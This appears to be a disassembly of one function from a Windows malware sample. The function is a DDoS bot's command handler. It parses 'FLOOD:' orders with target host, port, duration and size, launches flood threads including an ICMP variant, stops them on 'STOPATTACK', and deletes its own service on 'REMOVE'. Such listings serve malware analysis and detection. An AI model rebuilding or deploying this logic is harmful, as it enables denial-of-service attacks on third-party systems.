Function at 0x401e00
Capabilities:
Create thread
Delete service
Resolve dns
Terminate process
Terminate thread

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4030bb
push eax
mov dword fs:[0], esp
sub esp, 0xd0
push esi
mov esi, dword [esp + 0xe4]
push edi
push 6
push str.FLOOD:
push esi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x402336
cmp dword [0x4062e8], 0xffffffff
jne 0x401e62
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
add esp, 0xdc
ret
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x54]
xor edx, edx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x10], edx
stosw word es:[edi], ax
xor eax, eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x20], eax
mov word [esp + 0x30], cx
mov ecx, 7
lea edi, [esp + 0x34]
mov word [esp + 0x24], ax
mov dword [esp + 0x14], edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 7
xor eax, eax
mov edi, str.192.168.1.2
push esi
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov word [esp + 0x1c], dx
stosw word es:[edi], ax
call fcn.00402e86
push 0x406310
lea ecx, [esp + 0xc]
mov dword [esp + 0xe4], 0
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x54]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0xc]
push eax
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0xc]
push eax
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0xc]
push eax
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0xc]
push eax
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x34]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
push 0x406390
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 8]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::GetBuffer
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x74]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
lea ecx, [esp + 0x1c]
push ecx
call esi
lea edx, [esp + 0x14]
mov dword [0x4062e0], eax
push edx
call esi
mov dword [0x4062e4], eax
lea eax, [esp + 0x30]
push eax
call esi
mov ecx, dword [0x4062e0]
add esp, 0xc
mov dword [0x406010], eax
test ecx, ecx
jg 0x402158
mov dword [0x4062e0], 0x50
test eax, eax
jle 0x402163
cmp eax, 0x3e8
jl 0x40216d
mov dword [0x406010], 0x3e8
mov eax, dword [0x4062e4]
test eax, eax
jle 0x40217b
cmp eax, 0x78
jl 0x402185
mov dword [0x4062e4], 0x78
lea ecx, [esp + 0x54]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x4021e9
lea edx, [esp + 0x54]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40220d
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
mov edx, ecx
lea edi, [esp + 0xc]
mov esi, dword [eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x402208
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.192.168.1.2
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [0x4062e8], 0xffffffff
call fcn.00401760
call fcn.00401490
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [esp + 0x34]
push 0x40638c
push ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 8
test eax, eax
je 0x402256
push 0
push 0
push 0
push 0x401620
push 0
push 0
call esi
mov dword [0x406898], eax
lea edx, [esp + 0x34]
push 0x406388
push edx
call edi
add esp, 8
test eax, eax
je 0x40227f
push 0
push 0
push 0
push 0x401360
push 0
push 0
call esi
mov dword [0x40689c], eax
lea eax, [esp + 0x34]
push 0x406384
push eax
call edi
add esp, 8
test eax, eax
je 0x4022a8
push 0
push 0
push 0
push 0x4019b0
push 0
push 0
call esi
mov dword [0x4068a0], eax
lea ecx, [esp + 0x34]
push str.icmp
push ecx
call edi
add esp, 8
test eax, eax
je 0x4022d1
push 0
push 0
push 0
push 0x4019b0
push 0
push 0
call esi
mov dword [0x4068a4], eax
lea edx, [esp + 0x34]
push str.break
push edx
call edi
add esp, 8
test eax, eax
je 0x4022f5
push 0
push 0
push 0
push 0x401b30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x401be0
push 0
push 0
call esi
lea ecx, [esp + 8]
mov dword [esp + 0xe0], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
add esp, 0xdc
ret
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str.STOPATTACK
push esi
call edi
add esp, 8
test eax, eax
je 0x4023f6
mov eax, dword [0x406898]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push eax
mov dword [0x4062e8], 1
call esi
mov ecx, dword [0x40689c]
push 0
push ecx
call esi
mov edx, dword [0x4068a0]
push 0
push edx
call esi
mov eax, dword [0x4068a4]
push 0
push eax
call esi
mov ecx, dword [0x406898]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [0x40689c]
push edx
call esi
mov eax, dword [0x4068a0]
push eax
call esi
mov ecx, dword [0x4068a4]
push ecx
call esi
pop edi
mov dword [0x406898], 0
mov dword [0x40689c], 0
mov dword [0x4068a0], 0
mov dword [0x4068a4], 0
mov eax, 1
pop esi
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
add esp, 0xdc
ret
push str.REMOVE
push esi
call edi
add esp, 8
test eax, eax
je 0x402431
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push 0x40601c
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [esp + 0xd8]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0xdc
ret